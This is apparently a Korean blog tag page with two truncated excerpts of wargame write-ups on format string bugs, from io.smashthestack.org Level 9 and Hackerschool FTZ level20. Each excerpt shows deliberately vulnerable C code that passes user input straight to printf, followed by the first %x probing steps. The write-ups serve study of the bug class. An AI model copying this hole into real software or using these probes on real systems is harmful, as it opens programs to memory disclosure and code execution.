[태그:] FSB

io.smashthestack.org – Level 9

Level 9 문제 소스는 아래와 같다. #include <stdio.h> #include <string.h> int main(int argc, char **argv) { int pad = 0xbabe; char buf[1024]; strncpy(buf, argv[1], sizeof(buf) – 1); printf(buf); return 0; } 포멧스트링 문제로 보인다. 확인해 보도록 하자. level9@io:/levels$ ./level09 %x bfffdec8level9@io:/levels$ ./level09 AAAA%x%x%x%x AAAAbfffdebe3ffbfffd94041414141level9@io:/levels$ 포멧스트링 문제가 맞는 것으로 보인다. 이제 포멧스트링 공격에 필요한 값들을 확인해 …

FSB (Format String Bug) 정리

/ 해당 문서는 공부를 하며 정리한 내용으로 틀린 부분이 있을수도 있습니다. / 해커스쿨 level20 문제를 풀어보면서 FSB (Format String Bug)에 대해 알아보자. #include <stdio.h> main(int argc,char **argv) { char bleh[80]; setreuid(3101,3101); fgets(bleh,79,stdin); printf(bleh); } 문제 소스는 다음과 같다. FSB는 printf(bleh) 와 같이 프로그래머의 귀차니즘(?)으로 인해 발생한다. 풀이과정은 다음과 같다. [level20@ftz level20]$ (python -c "print ‘AAAA’ …